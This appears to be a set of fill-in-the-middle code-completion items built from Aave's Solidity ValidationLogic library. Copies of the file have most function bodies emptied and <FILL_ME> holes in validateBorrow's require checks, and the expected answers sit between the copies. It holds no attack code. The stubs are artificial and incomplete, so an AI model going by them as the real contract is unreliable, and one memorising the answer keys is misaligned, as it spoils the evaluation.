addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt+(params.amount/10**(vars.reserveDecimals-ReserveConfiguration.DEBT_CEILING_DECIMALS)).toUint128()<=params.isolationModeDebtCeiling,Errors.DEBT_CEILING_EXCEEDED
435,439
reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt+(params.amount/10**(vars.reserveDecimals-ReserveConfiguration.DEBT_CEILING_DECIMALS)).toUint128()<=params.isolationModeDebtCeiling
Errors.INCONSISTENT_EMODE_CATEGORY
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(vars.isActive, Errors.RESERVE_INACTIVE); require(!vars.isPaused, Errors.RESERVE_PAUSED); require(!vars.isFrozen, Errors.RESERVE_FROZEN); require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require( params.reserveCache.reserveConfiguration.getBorrowableInIsolation(), Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION ); require( reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + (params.amount / 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) .toUint128() <= params.isolationModeDebtCeiling, Errors.DEBT_CEILING_EXCEEDED ); } if (params.userEModeCategory != 0) { require(<FILL_ME>) vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require( !params.userConfig.isUsingAsCollateral(reservesData[params.asset].id) || params.reserveCache.reserveConfiguration.getLtv() == 0 || params.amount > IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress), Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require( !params.reserveCache.reserveConfiguration.getSiloedBorrowing(), Errors.SILOED_BORROWING_VIOLATION ); } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
params.reserveCache.reserveConfiguration.getEModeCategory()==params.userEModeCategory,Errors.INCONSISTENT_EMODE_CATEGORY
435,439
params.reserveCache.reserveConfiguration.getEModeCategory()==params.userEModeCategory
Errors.STABLE_BORROWING_NOT_ENABLED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(vars.isActive, Errors.RESERVE_INACTIVE); require(!vars.isPaused, Errors.RESERVE_PAUSED); require(!vars.isFrozen, Errors.RESERVE_FROZEN); require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require( params.reserveCache.reserveConfiguration.getBorrowableInIsolation(), Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION ); require( reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + (params.amount / 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) .toUint128() <= params.isolationModeDebtCeiling, Errors.DEBT_CEILING_EXCEEDED ); } if (params.userEModeCategory != 0) { require( params.reserveCache.reserveConfiguration.getEModeCategory() == params.userEModeCategory, Errors.INCONSISTENT_EMODE_CATEGORY ); vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(<FILL_ME>) require( !params.userConfig.isUsingAsCollateral(reservesData[params.asset].id) || params.reserveCache.reserveConfiguration.getLtv() == 0 || params.amount > IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress), Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require( !params.reserveCache.reserveConfiguration.getSiloedBorrowing(), Errors.SILOED_BORROWING_VIOLATION ); } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => 